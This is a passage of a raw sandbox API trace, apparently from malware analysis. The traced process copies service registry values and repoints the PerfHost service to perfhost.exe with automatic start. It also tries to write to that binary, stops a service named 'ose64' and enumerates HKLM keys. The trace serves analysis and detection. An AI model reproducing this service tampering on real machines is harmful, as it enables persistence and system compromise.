lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.044] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.044] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.044] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.044] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.092] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.092] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.092] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.092] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.092] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.092] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.092] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.092] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.092] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.092] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0243.092] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0243.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0243.093] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0243.093] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0243.093] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.093] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.093] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.093] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.093] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.093] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.093] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.094] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.094] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.094] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.094] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.094] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.094] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.094] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.094] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.094] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0243.094] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0243.094] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0243.094] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0243.095] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0243.095] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.095] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.095] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.095] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.095] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.095] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.095] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.095] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.095] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.095] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.095] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.096] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.096] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.096] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.096] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.096] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0243.096] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0243.096] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0243.096] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0243.096] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.096] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.096] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.097] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0243.098] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWow64\\perfhost.exe", cbData=0x21 | out: lpData="C:\\Windows\\SysWow64\\perfhost.exe") returned 0x0 [0243.098] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\SysWow64\\perfhost.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f2c48*="C:\\Windows\\SysWow64\\perfhost.exe" [0243.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0243.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0243.098] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0243.098] LocalFree (hMem=0x7f2c48) returned 0x0 [0243.098] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\SysWow64\\perfhost.exe", cbData=0x21 | out: lpData="C:\\Windows\\SysWow64\\perfhost.exe") returned 0x0 [0243.098] OpenServiceW (hSCManager=0x803918, lpServiceName="PerfHost", dwDesiredAccess=0x2) returned 0x803990 [0243.098] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0243.118] CloseServiceHandle (hSCObject=0x803990) returned 1 [0243.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0243.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0243.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0243.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0243.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0243.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.119] RegCloseKey (hKey=0x150) returned 0x0 [0243.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0243.119] RegCloseKey (hKey=0x154) returned 0x0 [0243.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0243.119] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0243.119] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWow64\\perfhost.exe" (normalized: "c:\\windows\\syswow64\\perfhost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3081cae6, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x3081cae6, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0243.119] CreateFileW (lpFileName="C:\\Windows\\SysWow64\\perfhost.exe" (normalized: "c:\\windows\\syswow64\\perfhost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0243.119] GetLastError () returned 0x20 [0243.119] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0243.120] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0243.120] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0243.120] OpenServiceW (hSCManager=0x803918, lpServiceName="ose64", dwDesiredAccess=0x20) returned 0x8038a0 [0243.121] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0243.121] GetLastError () returned 0x426 [0243.121] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0243.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0243.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0243.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0243.121] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0243.121] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0243.122] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0243.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0243.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1c40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0243.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.122] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0243.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.122] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0243.122] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.122] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 